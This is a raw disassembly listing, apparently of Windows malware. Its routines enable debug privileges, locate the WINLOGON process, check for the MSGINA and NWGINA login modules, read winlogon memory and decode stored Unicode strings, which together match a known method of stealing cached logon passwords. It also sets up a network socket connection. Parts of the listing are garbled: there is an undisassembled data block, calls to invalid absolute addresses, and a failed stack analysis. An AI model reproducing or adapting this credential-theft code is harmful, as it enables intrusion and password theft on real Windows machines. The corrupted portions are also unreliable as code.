		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1


loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h


loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D


loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi


loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2B923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 23394F1h,	75C08590h
		dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 946BE856h, 85900233h, 56B175C0h, 90EEE890h
		dd 458B0232h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 2690AB1h
		nop
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 278081Dh
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2670287h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27C0000h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 27B0A29h
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	near ptr 2750000h
		nop
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 27407E4h
		nop
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26508ACh
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 2670287h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 27B0A29h
		nop
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0C83h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26508ACh


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26508ACh
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27B09B3h
		push	eax
		nop
		call	near ptr 27B0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		call	near ptr 27B09B3h
		nop
		push	eax
		nop
		call	near ptr 27A0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
